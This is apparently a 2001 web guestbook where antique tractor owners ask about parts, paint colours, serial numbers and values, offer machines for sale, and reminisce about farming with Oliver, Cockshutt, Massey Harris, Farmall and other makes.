Fred Welsh wrote on Tuesday, July 10, 2001 (PDT):I have an Oliver 770 that I bought last winter. I love it. It has an Oliver loader, Model 89, I believe. I would appreciate someone telling me where to add hydralic fluid to this tractor. Thanks..
JD wrote on Tuesday, July 10, 2001 (PDT):Would like to know if Clyde still has the W4 that was on the message in August 2000.
Carl Olson wrote on Tuesday, July 10, 2001 (PDT):My father-in-law has a '47 55 that he would like to sell. Please email me with your questions, and I'll try to fill in the details.
Tim Sands wrote on Monday, July 09, 2001 (PDT):My father owned a 56 555 from new but sold it. He would very much like to have it back. This tractor was sold in the winter of 77-78 in N. Indiana. If anybody has any leads on a 555 any where would you let me know.
Kim Taylor wrote on Monday, July 09, 2001 (PDT):My brother is looking for paint information for his Leader tractor. He thinks the original paint was made by Martin Senior and had a paint#1956. Can anyone tell us what kind or paint we can purchase today to match the original?
Dale Eisert wrote on Sunday, July 08, 2001 (PDT):Am selling a variety of tractors on the antiquetractor site. Am looking to buy a Coop E2 that is running and is in fairly good shape.
Craig Miller wrote on Sunday, July 08, 2001 (PDT):We have a Cockshutt 40 diesel. We r looking for some injectors for the thing If u can be of any help e-mail me with info Thanx
James wrote on Thursday, July 05, 2001 (PDT):Where can I find the correct paint for a Super 44? Thanks, James.
Bud Smith wrote on Thursday, July 05, 2001 (PDT):I have located a 1950 G with no implements. It has sat outside as a yard orniment for 10 yrs. Bad rubber and bad paint. What is it worth?
Ron Gates wrote on Monday, July 02, 2001 (PDT): Sirs; Recently got a 1948 C Model and have cleaned up and running pretty good. I want to enter it in a local tractor pull (stock) on the 22nd July. I want to have the rear tires filled with the sodium mix for weight.What gear is better to pull in; seems like 1st is to slow to pull a sled. Also please let me know the place to get a six volt starter motor for this tractor; kind of hard hand cranking all the time especially after the block has warmed up. Even though it's not the same web page to mention it; I also have a 1948 Allis Chalmers which takes the same the same starter motor (less bendix and mount) that I will be entering.
Rocky Allen wrote on Tuesday, June 26, 2001 (PDT):Actually the 560 will pull a 5 bottom plow depending on ground conditions but let me assure you that it will walk off with a 3 bottom plow in 4th gear high range no problem at all.
Cody Hinchey wrote on Monday, June 25, 2001 (PDT):My grandpa has two 1066's and they were used everyday on the farm. He also has a farmall"H" and "460" 1460 combine. He use to own a 706and two olivers one was a super 88 diesel and the other one is 66.
Bob Doyle wrote on Sunday, June 24, 2001 (PDT):I have a 1960? or about Fordson Dextra for sale. Asking 3200.00. 3 cylinder diesel runs well, starts right up. Good hydralics, and recent rubber. Portland Or area.
Ron Reilly Edgerton Wi 504 Albion rd 53534 wrote on Saturday, June 23, 2001 (PDT):Hi Iwood love to have one like this one I am a member of The Rock River Thresheree By one that's it I wood like to fine 830 all restore and all new tires on it. Iam look for 2 JD running gear's used or restore Thank you all
jason schott wrote on Friday, June 22, 2001 (PDT):i work at a deere dealership but the way they operate is a load of bull all the time I want to quit. all i know right now is the RED in never dead.
Brandon Bernhard wrote on Thursday, June 21, 2001 (PDT):I am looking for; belly bar, lift arms, front weights, guages, lights, battery tray, seat, wheel weights, and pto shield for my 1964, 550 diesel with power steering. thanks for your help.
Ray Mohler wrote on Thursday, June 21, 2001 (PDT):I have a 1940 General "GG". It was purchased new by my father.It has a manual lift,16in. plow. the Owners Manual lists the paint as Cletrac Orange [Standard], part no. 48000. I remember it as being a brownish orange. Other colors were chestnut brown, black, and buckskin. Sorry I cant offer a source for the paint.
Frank wrote on Wednesday, June 20, 2001 (PDT):I'm looking for a clutch for a /47 Co-op model E. I would really appreciate it if anyone with info would contact me.
James wrote on Monday, June 18, 2001 (PDT):My Brother has a Super44. It needs tires and paint. It needs a grill part. Runs good. We are trying to find out what it is worth. We are planning on taking it to Denton.
tery sheedlo wrote on Monday, June 18, 2001 (PDT):I am looking to purchase a hydraulic filter for my 550 oliver which is located in front of the seat.Would appreciate your help.
Dick Curwin wrote on Saturday, June 16, 2001 (PDT):Just bought a Cletrac/Avery/Montgomery wards General wheeled tractor rusted but pretty complete(I think) Does anybody know that coler this tractor was when sold my Montgomery Wards. THX Curly.
PUTTS wrote on Friday, June 15, 2001 (PDT):I hope those Deere fans out there realize that the reason why they are painted green is so when they break down in the field they blend in with their surroundings.
derek sifford wrote on Friday, June 15, 2001 (PDT):i have a friend who has restored a massey haris tractor a pacer model but it was not bought with the original bench seat past owner was unable to locate such seat. if you could tell me where to find a seat it would be helpfull thanks
derek sifford wrote on Friday, June 15, 2001 (PDT):i have a friend who has restored a massey haris tractor a pacer model but it was not bought with the original bench seat past owner was unable to locate such seat. if you could tell me where to find a seat it would be helpfull thanks
William Richey wrote on Friday, June 15, 2001 (PDT): I have a leader. It was handed down to me from my dad. It looks just like the one in the picture. The starter doesn't work but I am still using the crank. It fires right-up!!
Jud Lupkes wrote on Wednesday, June 13, 2001 (PDT):I am resoring a 30 I pulled out of the grove after 23 years of weather. I need a different block for the Buda 4B153. Anybody within a few hours of Brainerd, MN.
Gene Lapointe wrote on Wednesday, June 13, 2001 (PDT):I have just completed restoration on a massey harris model 20 tractor, and enjoyed it so much that I just bought a super dextra. I have just started to research the tractor s specs and color scheme. Mechanically it runs well but is missing the hood and is rough looking. mine has a m.f.loader on it and it also words well. I would appreciate any help on finding info.--Saint John N.b. Canada
duane johnson wrote on Tuesday, June 12, 2001 (PDT):i have a 1955 30 series cockshutt and all i really would like to try is to change to a wide from narrow is it possible on this year and series and how and what do i need too do it, or would it be feasible to widen the rear axle substantially. i am very inexperienced and cost is prohibitive. any ideas welcome. even if i leave it original i am proud to own the pioneering leader in all farm tractors. i read the operators manual and marvel at the simple but excellent technology involved in this gem.
WALLY wrote on Tuesday, June 12, 2001 (PDT):I HAVE A 1955 MODEL 40-4D (270 INCH 4 CYL. PERKINS DEISEL). DAD BOUGHT IT NEW. FARMED TIL 1992. HAVE 6000+ HRS.(LAST I REMEMBER ) CYL HEAD IS CRACKED. RUNS AND WORKS GOOD, IF YOU WORK IT HARD, IT'LL START TO HEAT UP. LOOKING FOR A HEAD, WHOLE MOTER, OR EVEN A "PARTS TRACTOR" I'M IN WISCONSIN, WILL TRAVEL TO LOCATE PART.
robert ball wrote on Monday, June 11, 2001 (PDT):I own a 770 industrial with front end loader and backhoe, also has the hydraulic reverser. she is still digging basements, septics etc. I am going to get a new backhoe this year and would like to sell her, anyone interested please contact me.
Darryl Anderson wrote on Monday, June 11, 2001 (PDT):My Grandfather had a Unstyled WF that I grew up with. Unfortunatly it was destroyed in a Barn Fire in 1976. I currently located a WF #157 that I am restoring. They were an excellent tractor. My Grandfather bought his new in 1938 and it was still running in 1976. I am Looking for a way to repair the steering wheel covering in place, are there any repair kits available?
BILLY BISHOP wrote on Sunday, June 10, 2001 (PDT):I have 1964 Fordson Dexta or Super Dexta I'm not sure which. It is a 4 cyl gas and I need an engine or a rebuild kit for the block that I have. Can I replace this engine with the 3 cyl deisel? Can anyone help?
Warren Prill wrote on Friday, June 08, 2001 (PDT):My dad farmed with a M-H 55,44 and 101 Sr.Alle three were great farm tractors.The 55 came with 16x34 tires and we replaced them with 18x34 Firestones.Traction was much improved.We had 300# of wheel weights on each rear wheel and each rear wheel was filled with water.Our 55 did not have power steering but it did have a Charlyn hydraulic pump driven off of the PTO.For added power we over hauled the the big 4 with M&W pistons.Cubic inches were over 400 and the HP was near 80 or so.No big deal by today's standards but in the late50 and 60's nothing could out pull it.No J-D, no M-M,no Oliver,no Farmal,no A-C ,no Cockshut 50.Nothing. The M&W powered 55 with had was the King of the Hill. The only problem we ever had was the 6 volt ignition system. Not enough juice to crank the big bore 4 over.We put the biggest 6 volt on the market in the tractor,but on winter mornings,starting this animal could be hard.We often had to assist the 6 volt with the hand crank.The hand crank operator had to be ready in case of a back fire so as not to get a broken arm or wrist.Yes, the 55 was powerful and economical.During its era,nothing could match it,regardless what others might say,the 55 ruled. Our other M-H models were the 44 and 101 SR. We also put M&W pistons in the 44 and bumped the H-P to nearly 60.It was also a pulling fool, but needed more weight the front end could be lifted quite easy pulling a heavy load.It had a 5 speed gear box.Highway speed was good.Versatile,powerful tractor. The 3rd "Massey" we used was the 101 Sr.It had a 6 cylinder Chrysler engine.We used this tractor to cultivate beans and corn.We had a front mounted 4 row cultivator.With no power steering and all that weight on the front wheels,it took strong hands and arms to operate.You did not have to lift weights to build your muscles, just spend 8 hours a day turning the cultivator and you had a good work out.The best thing about the 6 banger was the road speed.You could easily top 20 mph. In their day,in my opinion,no tractor could out pull a Massey Harris or out perform a Massey Harris.We had other tractors while we had the "Massey's",Case( we called it the "hopeless case"),Farmal Super M,Co-OP E-3.Massey Harris beat them all. The only real difference between the 55 and 555 were a few features like power steering and some hydraulics I believe. The 555 had some chrome on the hood,and was only made for one or two years.
Mike Fix wrote on Friday, June 08, 2001 (PDT):Hello, can anyone tell me if there are any links that tell how to overhaul an engine... Thanks !!!!
Glenn Berts wrote on Friday, June 08, 2001 (PDT):A year ago I bought an '48 MD for $200. The gas side linkage and other parts were missing. The only way I could start it was to pull it. I now put two 12 volt batteries in series to the starter and give it just a small shot of starter fluid and away it goes. It smokes for two or three minutes until it warms up and runs smooth after that. I charge the batteries occasionally after about 25 or 30 starts. Nothing compares to taking off in road gear and hearing the governor kick in and the pure acceleration. This rig will be attached to my PTO sawmill in the very near future.
Robert Kole wrote on Thursday, June 07, 2001 (PDT):I have farmed with several Cockshutt models. Presently I own 3-30's 2-40's a 50 gas. A 20 with serial number 208 and it has the 124 engine. I also own a 550 of the new design and a three bottom 3 point plow. Great tractors
Timothy ANderson wrote on Thursday, June 07, 2001 (PDT):i would like to know if anyone knows about a worthington tractor or any thing that was built with a crysler moter and dodge rearend and was built by worthington
Anthony Hahn wrote on Wednesday, June 06, 2001 (PDT):In reply to; Steve Desomer wrote on Friday, March 23, 2001 (PST) The reason why you can't start your Marshall is because on Field Marshall tractors, the flywheel spins in an anti-clockwise where as the Fowler Marshall crawlers ran in a clockwise direction. This was to accomodate for the extra bull gear in the final drives ! Happy starting, and it does not matter if the engine runs backwards for a minute or two, but no longer as the lubricator will not work ! Hope this will have helped you.
Michael Ladenburg wrote on Wednesday, June 06, 2001 (PDT):I have a 1951 Oliver 99. I am looking for gaskets and an exhaust manifold for it. It has a 443c.i. 4 cylinder gas engine. It has the same engine as an Oliver 90 and 28-44. I you have anything please e-mail me at ladd at hi-line.net.
jason schott wrote on Wednesday, June 06, 2001 (PDT):why don't you deere boys try to prove it for once in your life
Johny wrote on Tuesday, June 05, 2001 (PDT):JOHN DEERE COULD OUT PULL ANY CASE ANYTIME ANY PLACE!!
larae whitfield wrote on Monday, June 04, 2001 (PDT):we have an oc4 crawler and need steering clutches for it does anyone know where can find some or have any for sale.
George Stumpf wrote on Monday, June 04, 2001 (PDT):I'm glad to see a mid-'50s Oliver with green wheels. I've restored my Super 77 RC on green, and am fequently challenged as to the authenticity. It's true, I tell ya!
Bob P ENN wrote on Saturday, June 02, 2001 (PDT):Have Super Dexta For Sale
Marie Kelly wrote on Saturday, June 02, 2001 (PDT):My father owned an IH H SS# 69217. Does anyone know what year model this is? We have the original manual but the cover is missing. Also, where is the best location to buy parts? My brother now takes care of the farm near Corning, New York.
Gord wrote on Saturday, June 02, 2001 (PDT):I own a Oliver 770 narrow front end row crop tractor. It's approx. a 1962 model. I'm in need of the gauge cluster on the left side of the dash that includes the fuel and temp. gauge and the amp. and oil light, it's approx. 4 inches in diameter.If anyone knows where I could get this cluster or get my own repaired could you please Email me. Thanks,Gord.
Grant wrote on Friday, June 01, 2001 (PDT):I am looking at a W4 International Standard. The model is I 4 and the serial number starts with IBH. It has a front bucket 60" wide and converted rubber tires on front. Seems in nice shape. How much should I offer in $US ? I want to use it to do work on a small hobby farm. Any obvious things to look out for? Thanks
Roger Sillik wrote on Thursday, May 31, 2001 (PDT):I need a injector pump for dexta or information where to have mine rebuilt
dave wrote on Wednesday, May 30, 2001 (PDT):I am in the process of restoring a 15-30, 1927. Can anyone tell me what kind of spark plug they need?
Tony wrote on Wednesday, May 30, 2001 (PDT): This is the main workforce on my dad's best friends farm. He had a chance to get another one recently but he hesitated. Now he wishes he would have just bought the thing. Maybe another one will show up.
Tony wrote on Wednesday, May 30, 2001 (PDT): This is the main workforce on my dad's best friends farm. He had a chance to get another one recently but he hesitated. Now he wishes he would have just bought the thing. Maybe another one will show up.
5488 pulled the rearend out of the 8410 wrote on Tuesday, May 29, 2001 (PDT):my 5488 pullewds the rearend out of the local john deere dealers demo 8410
why does it take so long to get parts? wrote on Tuesday, May 29, 2001 (PDT):Why does it take so long to get parts for our 1256? we need a new clutch brake and it takes o long to get one in!
red power wrote on Tuesday, May 29, 2001 (PDT):We have 2 5488's and a new mx 100, and the older farm equipment that my granddad, and dad used were the best, they were better off without all this technical computer system and all the gadgets. we farm 11000 acres in iowa, and a 1566 in its dayw ould farm our ground just as well as our 9370.
Dan N wrote on Tuesday, May 29, 2001 (PDT):We use Internationals on our farm,we had a 1066, blackstripe, we used it so much in all its yars we had to trade it off with a total of 11000 hours on it, we replaced it with a case international 7210, the 1066 is still my favorite.
Don Serdynski wrote on Monday, May 28, 2001 (PDT):Just acquired an Oliver super 55 and plan to restore..Any info available would be appreciated...d
Steve Darlington wrote on Monday, May 28, 2001 (PDT):To those of you looking for a copy of the Super Dexta Manual I will have it scanned and off to you soon.
murray stead wrote on Monday, May 28, 2001 (PDT):I own a case tractor 10 18 1919 year , possibly the oldest in new zealand. Any questions please email me at above e mail address. It is for sale.
Steve wrote on Sunday, May 27, 2001 (PDT):My neighbour is selling a 550, not sure of year, possibly late 50's. Not the prettiest of shape but has potential for restoration. Starts well, but has govenor problems. It does not idle and when throttle is set it tends to race away. Has anyone experienced problems with govenors and what is the remedy. Also, what is a fair price for a model like this(Cdn Funds). Tractor is funtionable but needs rubber and water pump. Thank-you
Kimberly wrote on Friday, May 25, 2001 (PDT):Please forward any information regarding Co-op #2 Tractor, especially paint codes. Thankyou
Joe Wolfort wrote on Friday, May 25, 2001 (PDT):Iwould like to purchase a BO,MC or 420 crawler with a blade or loader in the area of western N.C.,North Georgia,Western So. Carolina or East tenn.I prefer a running machine in decent shape.An oliver oc3,orHG would also be considered.
Jim Burbridge wrote on Thursday, May 24, 2001 (PDT):I am in the process of restoring a 1948 Case SC. I know if I researched enough, I would find out the original paint scheme, but if someone knows the paint colors with #'s, I would be greatful. Also where could I find original decals? Although it has an electric starter, I also need the crank for hand starting for authenticity. Suffering from tractor fever in Orting, Washington
Brad Kocka wrote on Wednesday, May 23, 2001 (PDT):I am looking for a set of front wheel assy's for a 300 Hi-crop. 20" If anyone knows where to find a set please let me know
Robert wrote on Wednesday, May 23, 2001 (PDT):Help! I have an Oliver tractor S/N 6192-500. It looks like a Super 55 in the grill area, but the cowl appears to have 550 imprinted on it. The S/N does not show up on the lists I have found on the internet.
Graham Vayro wrote on Wednesday, May 23, 2001 (PDT):Hi! My dad owned a MF 55 from new when I was young and I spent many hours driving on a broadacre wheat farm near Dalby Queensland Australia. It was a petrol start, Kerosene run. My Dad brought the Massey to Redland Bay when he moved and eventually gave it away for a supply of chicken manure (for fertilizer). I have just bought my first tractor, a Massey Ferguson 135 Diesel with loader and am having fun. Graham Vayro
chris wrote on Friday, May 18, 2001 (PDT):I have a D-15 that always has trouble going into gear unless you hold the cluth in for several minites. Also the three point drops fast when it has some weight on it. What is the porblem.
David Wigington wrote on Friday, May 18, 2001 (PDT):Help! I'm looking for a water pump for my Super Dexta and the Ford Dealership in town wants $300+ for a new pump. Does anyone know why these are so high, or where I might be able to get a better deal.
Monte Hodges wrote on Thursday, May 17, 2001 (PDT):Where can i find a engine oil filter for a gas Oliver 550, also looking for hyd. filter (located just below and in front of seat). I may be wanting to sell my Oliver also, it has no attachments with it. Can e-mail with any questions. I have tons of pictures...
Scott Pasenow wrote on Wednesday, May 16, 2001 (PDT):napa just quithaving hercules parts but i believe they change to white motors from cleveland.my cpu was down for awhile so i didn't answer anyone question.how about i little club or chat room for all of us leader owners
gary wrote on Wednesday, May 16, 2001 (PDT):Iwas raised on a farm in Ohio in the 1950's and my father always used Oliver tractors.I now live in Florida and would like to have an Oliver tractor of my own.Perferably a Oliver 55 or a 550 at a reasonable price.thank you
PUTTS wrote on Wednesday, May 16, 2001 (PDT):I'm lookin' for a D21 with a bad PTO and/or bad hydr. remotes, even if it is in rough condition let me know.
PUTTS wrote on Tuesday, May 15, 2001 (PDT): I sure wish somebody had a 1066 for me. It would be awfully nice if somebody could let me know if they have a 1066 with someting broke on it... Thanks.
Mike Trimmier wrote on Monday, May 14, 2001 (PDT):hey folks, My friend and I just acquired a 52 model FC farmall. It has the narrow front end and engine driven hydraulics but in the front like for a loader or some other device. question is, is this a c model or what. the engine is locked so we are working on it but would like to know what it is exactly. draw hitch on rear with no hydro. Just thought I'd ask and see. looks to have a timing chain driven pump with the hoses going to a unit just ahead of the battery. any information or opinions would be appreciated. MT
MARK wrote on Monday, May 14, 2001 (PDT):I HAVE A REALLY NICE D15 TYPE II OR III (I THINK III IF THERE IS SUCH A THING!) I WOULD LIKE TO SELL. IT LOOKS ALMOST AS GOOD AS THE PICTURE ABOVE. ASKING $4000.00 RUNS GREAT, STARTS EASY. (217)875-5184
Andy wrote on Monday, May 14, 2001 (PDT):I am looking for a D14 to purchase.....contact me!
Arthur Andersen wrote on Sunday, May 13, 2001 (PDT):I need to know if anyone can give me some information on an Oliver 440 and an approximate value for one that is in fairly good condition. I need to know what to look for when trying to determine the value.
Warren Cochran wrote on Sunday, May 13, 2001 (PDT):Where can I find something on a 445 corp of engineers. It's a pull tractor. If anyone has information E-Mail me
Rick Byrd wrote on Saturday, May 12, 2001 (PDT):I have just purchased an A' and cannot get enough of it. It needs paint all around but has no deterioration- anywhere. I have a new muffler for it but have no stack to mount it on(very thin and crushable exhaust pipe remnant). So, I am now considering buying an exhaust manifold with associated piping to accomodate the muffler. Any better ideas out there? Am also interested in getting one set of front wheel weights- have a pair of 140 Lbs on rear already. Any help on this as well?
Jarrod Gerten wrote on Friday, May 11, 2001 (PDT):We used to have a 1066 and now I wish we haden't sold it, because it was a pullin fool. If anyone has any pictures of any 66 tractors please send them to me. Thanks!
Rick Stieve wrote on Friday, May 11, 2001 (PDT):I am looking for the hyd. bank that goes under the seat to control hyd. for equipment. Also after I plow for awhile and turn the tractor off it won't start until it is cooled down and the battery goes dead. any suggestions?
Cameron wrote on Friday, May 11, 2001 (PDT):I just recently purchised a "Super BWD6 tracter and need to know it's weight so to transport it home. Please contact me if you know any; information, it's weight or any comments on them.
PUTTS wrote on Friday, May 11, 2001 (PDT):This is one tough lookin' tractor!
scott thul wrote on Thursday, May 10, 2001 (PDT):i own a 1950T rowcrop i don't know,but the airclearers don't like right or like my tractor at all
PUTTS wrote on Thursday, May 10, 2001 (PDT):I'm looking to pull my 2050 this summer and I'd like to know if anyone knows the weight of it?(estimate o.k.)
PUTTS wrote on Thursday, May 10, 2001 (PDT):I've got an Oliver 2050 with a turbo. I'm looking to pull it with my other tractor this summer. Does anyone know the weight of this tractor with out all weights on?
PUTTS wrote on Thursday, May 10, 2001 (PDT):MM's just have wicked power. I used to own a Super M670. Talk about power to spare. It was only a gas, but that thing really hauled. It was really heavy compared to other tractors ots size, but it made up for it in horsepower. Nothin' like throwing the T.A. back when hauling heavy loads and listening to that monster beller!!!
Steve Darlington wrote on Thursday, May 10, 2001 (PDT):I have owned a 1963 Super Dexta for 10 years now and wouldn't trade it for anything. for those of you that are looking for the manual give me a shout I have the original with the poster size lubrication chart. I can copy and send it to you.
Thomas Milke wrote on Thursday, May 10, 2001 (PDT):I have a leader and ruinend the big gear and some others while plowing snow one year. bought an earlyer tractor but the shafts and gears are smaller. what can i do. tom members.nbci.com/_XMCM/ttdjm/index.htm
Kelly Beck wrote on Monday, May 07, 2001 (PDT):I grew up on an 80 in North Dakota. Before I was big enough to even pull the clutch, dad would get me started and jump off. I'd hit the throttle and be gone. I'd like a dollar for every mile of furrow we covered together. We'd pull the same load as the 4020, all day long and burn half the fuel - great tractor, wish I had it now. The man who got ours won't sell. Dad hooked a 6 volt lantern battery together with the tractor's battery and we could power a 12v tractor radio. They could hear us singing for miles. Swing by Grandma's garden and fill your pockets with onion tops and rhubarb - enough cud to chew for a long time.
Rick wrote on Sunday, May 06, 2001 (PDT):I have an F-14 for sale. Sat outside for the past 40 years. Located in Wisconsin. Any idea what it might be worth? Thanks
Putts wrote on Tuesday, May 01, 2001 (PDT):I'm lookin' for a 1066 to use strictly for pulling. Does anyone have one for sale, it doesn't matter if PTO is broke or bad remotes, I'll take it if it runs well.
Dave wrote on Monday, April 30, 2001 (PDT):I just bought one in a garage sale, tires are very worn, but she runs well. Want to learn more about her. They thought it was 1949 or 50. She kind of looks like this one except needs painted,
Jim Walker wrote on Monday, April 30, 2001 (PDT):I live in canada and I am restoring a 550 cockshutt. Would any one know where I could get the decals for it. they have to be for the one that they call the low one.
martin levesque wrote on Monday, April 30, 2001 (PDT):I have a cockshutt model 60, is there anyone who can give me informations about transmission, how work the shaft speed and how to use it?
justins wrote on Monday, April 30, 2001 (PDT):I liked the restoration job. if it was tested at nebraska, can i get results on pto and drawbar tests?
B-TOWN BANDIT wrote on Monday, April 30, 2001 (PDT):1066's will rule forever. Nothing can stop them. I use mine for every thing I do. Of course nothing runs like a deer, but nothing stinks like a john!!!
BIG RED wrote on Monday, April 30, 2001 (PDT):I pull a 656. Its got as much balls as most 1066's.
Dave wrote on Saturday, April 28, 2001 (PDT):I have a MM 5 star that I really like but hve a real hard time finding parts for. presently looking for a hydraulic pump. any suggestions. thanks
Ben wrote on Friday, April 27, 2001 (PDT):nice photo and dont worrry about those "anoracks" you paint your tractor the colour you want too. from Ben Cradock in Wiltshire-England.
Guy Heberling wrote on Tuesday, April 24, 2001 (PDT):We just purchased an Oliver crawler tractor OC-3 four cyl/gas engine 1948 and need help getting it going. I think it's the magneto, because it will turn over, but can't get any spark. Any help you can give will be greatly appreciated.
Darcy haun wrote on Tuesday, April 24, 2001 (PDT):I ahve a 1952 cockshut forty, and was wondering if that was the only year with high altitude head? The reason I am asking this question is because I have searched this out, and nobody has given me a answer.
robert dendinger wrote on Tuesday, April 24, 2001 (PDT):hey you guys im shocked to see any body who knows what a allischalmers is we have three ko crawlers on are place and they function and seven model ms and they also work plus 13 other tractors especially tiny wheel tractors i can be reached atdendingero at aol.com
papab wrote on Monday, April 23, 2001 (PDT):first tractor i drove in my life at the age of six . my grandfather purchased it in 1950 .inow own it and am restoring it . im from sask canada .keep up the good work
Scot Olson wrote on Sunday, April 22, 2001 (PDT):I just got an oliver oc46 can anybody get me a book on this thanks scot
Ken Roffel wrote on Sunday, April 22, 2001 (PDT):I am restoring a 1954 Farmall Super C. I am having some good fortune in locating new parts however, I do need to find where I can get the base that holds all of the guages. It also holds the control tower for the steering wheel and the lite bar fits on it as well. Any leads or suggestions would be appreciated. Regards, Ken
BRETT WARNER wrote on Friday, April 20, 2001 (PDT):looking for a w-4 International in central US condition restorable
Jordam W. wrote on Friday, April 20, 2001 (PDT):I need a original owners manual for a `65 D-15 for free or at low cost. THANKS
Terry wrote on Wednesday, April 18, 2001 (PDT):Does anyone know of a company offering a 3 point set-up for on a 140? Has anyone made a conversion for one that could send me some pictures of how you did it? I am located in MO.
Terry wrote on Wednesday, April 18, 2001 (PDT):Does anyone know of a company offering a 3 point set-up for on a 140? Has anyone made a conversion for one that could send em some pictures of how you did it? I am located in MO.
Bob wrote on Wednesday, April 18, 2001 (PDT):For Gary on March 23, 2001; I have a 1206 that I bought three years ago. While researching the horsepower rating for it, I discovered that the 1256 tested at the Universtiy of Nebraska at 116HP PTO and somewhere over 100HP at the drawbar. I would also like any information from any one with experiences with the 1206. I was looking to buy a 1066 but really wasn't willing to pay the going price when I found the 1206 more in my price range.
Ron Burns c/odede wrote on Wednesday, April 18, 2001 (PDT):I have a running 1947 BF Avery Model A. It is both battery ignition and crank.I am planning on doing some work on it and paint. Would like to locate a place in which to get parts and paint. My Avery is rigged with hydralics snd belt pully for running hammermills etc. Also has belly mount. I am not sure if it is for a belly mower, cultivator or what. Any information would be greatly appreciated. Thanks
Dan DeWitt wrote on Tuesday, April 17, 2001 (PDT):I purchased my GVI about 25 years ago for 1300 hundred dollars and still using for farming yet today.
Betty wrote on Tuesday, April 17, 2001 (PDT):I have a Ford 9N tractor, and I'm not sure what year of make it is. I have the number - 9NI5I850 from the block, or it might be - 9N151850,I'm not sure. Can anyone help me out? I'm wanting to sell it also if anyone is interested. Thanks!
Will Sandoval wrote on Tuesday, April 17, 2001 (PDT):I have a oliver 550 the ser # 133061-519 the model # 45-0592 what year is this great little tractor ?
Roy Wolf wrote on Monday, April 16, 2001 (PDT):I drove this model AC for my brother while he was farming approximately 700 acres in Kane County, Illinois, west of Aurora. It sure was a power house and I loved every minute of it.....I was an elementary Principal at the time living near Belvidere, Illinois, where I worked summers as a field man for Green Giant...they had Oliver equipment....however, I sure enjoyed the weakends and after school hours on that new 220 my brother purchased in 1970 or 71! He also had three XT-190's...but, the 220 was a real 'landhandler'!
Dave Allen wrote on Sunday, April 15, 2001 (PDT):I purchased a Cockshutt 60 Row Crop (1941) in 1999. I have been retoring it ever since. It is nearly finished. My interest in the tractor comes from growing up on a family farm in eastern Canada. P.E.I. My father has his original Cockshutt 60 (1948) which he still uses around the farm to this day! I live and work in Regina Sask Canada.
Paul Kenerson wrote on Sunday, April 15, 2001 (PDT):Subject ; Safty I have a 1950 J D B that ran away on me once, I had started it from standing on the ground. some of the gas,had run down into the crankcase while being idle. The tractor was in reverse with the clutch disengaged. as soon as the tractor started there was an explosion, in the crankcase that ingaged the clutch and the tractor took off with me after it. It blew the clutch cover 100 feet from the tractor. Luckly no one was standing behind the tractor this happened within seconds. Always have the tractor in neutral with the clutch back and the breaks locked. Before 1950 it was common for these old tractors to accumalate particles in the fuel system and hold the needle on the float up and dump the fuel into the crank case causing trouble.
Mark Lethbridge wrote on Sunday, April 15, 2001 (PDT):I purchased my MC from my uncle 2 years ago and i'm doing a complete overhaul. The rollers and pins were done by my brother inlaw, and with the help of some good friends machined all new sleeve rollers for the rollers.I have rebuilt the final drives and steering clutchs which one was not working before. I also purchased the last two drive sprokes from John Deere that they had in stock (thats what they told me). Don,t ask how much they were as I live in Canada and had to pay the dollar exchange as well. I had the hyraulic cylinders rebuild by a friend and ordered a kit for the pump from John Deere as well as parts manual. This MC has a #602 blade on it which I believe is newer then the tractor. Next the engine.
Steve Kuffa wrote on Saturday, April 14, 2001 (PDT):Just acquired a 1963 Massey 97 diesel- needs some parts such as fenders, front grill and this and that. Can anybody help? Located in PA.
J.Leo Chartrand wrote on Thursday, April 12, 2001 (PDT):I have a 1950 Cockshutt 30,it is like a new one, I spended time and money to make look like it. it was my baby, but now, I am looking for an other toy. So it is for sale. I live in Canada, and my phone number is (450)829-3141 It is possible to get a photo of my tractor by e-mail
Monte Hodges wrote on Thursday, April 12, 2001 (PDT):I am looking for a front end loader for my Oliver 550. Anyone know where to pick one up? What after market front end loader brands fit the Oliver? Where can I get a replacement muffler for the gas engine? Thanks for the help.
Cecil J> Dykes wrote on Tuesday, April 10, 2001 (PDT):I have a John deere D styled that I would like to sale. I believe it to be a 1947 model .I can veify this with serial number.This D is in very good condition and has been restored,located in Texas Phone 830-606 0838
tyler wrote on Tuesday, April 10, 2001 (PDT):I have been in search of 1952 minnie's to start pulling in coptition. so any help is kind of you.
Dustin Lamb wrote on Sunday, April 08, 2001 (PDT):I have a GVI on LP that I plan on restoreing. Does anybody know what color the sheet metal parts are suppost to be? MM gold or a yellow. Also I am looking for a pair of fenders for this same tractor. Please contact me.
Dustin Lamb wrote on Sunday, April 08, 2001 (PDT):I have a GVI on LP that I plan on restoreing. Does anybody know what color the seet metal parts are suppost to be? MM gold or a yellow. Also I am looking for a pair of fenders for this same tractor. Please contact me.
Oliver Haan wrote on Sunday, April 08, 2001 (PDT):Just found one of these in myback yard,so to speak.If any one knows there I can find parts ie.gaskets(especially head) please let me know.Thank you very much!
BOLSON wrote on Saturday, April 07, 2001 (PDT): I just purchased a MM445. Can anyone tell me anything about the MM445's? I am pretty much in the dark on these and would like to find out all I can about them. I beleive this is about a 1955-58 model due to it has metel emblems on the hood cowling and also has a hi-lo range gearing. I also need info. on the wiring schematics for this machine if anyone can help or tell me where to get some info. Thanks to all who might can help me out and to those who read this and but could not.
joeyboyer wrote on Saturday, April 07, 2001 (PDT): I AM 10 YEARS OLD.I LIVE IN A SMALL TOWN CALLED MARQUAND,MO. IT IS LOCATED IN SOUTHEAST MISSOURI. IHAVE A 1946 CASE VAI ALSO .MY UNCLE GAVE THE TRACTOR TO ME LAST SUMMER.I HAVE WORKED ON IT A LITTLE BIT.HE GOT IT FROM A GUY BY THE NAME OF ASA HOLMES.AFTER ASA DIED IN HIS WILL HE SAID,"I WANT BOB MOUSER TO HAVE THE CASE VAI". THAT'S HOW I GOT IT.
Tim wrote on Saturday, April 07, 2001 (PDT):What is the difference between the 55 and the 555?
Tim Schacht wrote on Saturday, April 07, 2001 (PDT):I am look for a 50's up MH 55 with rear pto,hyro lift,and power steering *does not have to have power steering. thanks Tim
Luke Thompson wrote on Friday, April 06, 2001 (PDT):My Grandfather owned and farmed with a 1963 Super Dexta 2000 and I own a restored 1965, at least I was told it was a 1965. I would like info on locating/purchasing shop manuals and/or owner manuals for the Super Dexta 2000.
Kevin Reeves wrote on Thursday, April 05, 2001 (PDT):I am also restoring a 1943 Case VAI and wanted to know the paint schemes, decal location of the eagles, and any other info. such as value. I recently purchased it as a shop project for the winter. It is in excellent condition all sheet metal (except grill) is straight and has a continental belly mower. I'm going to advertise it and wanted to know a fair value.Thank You for any help.
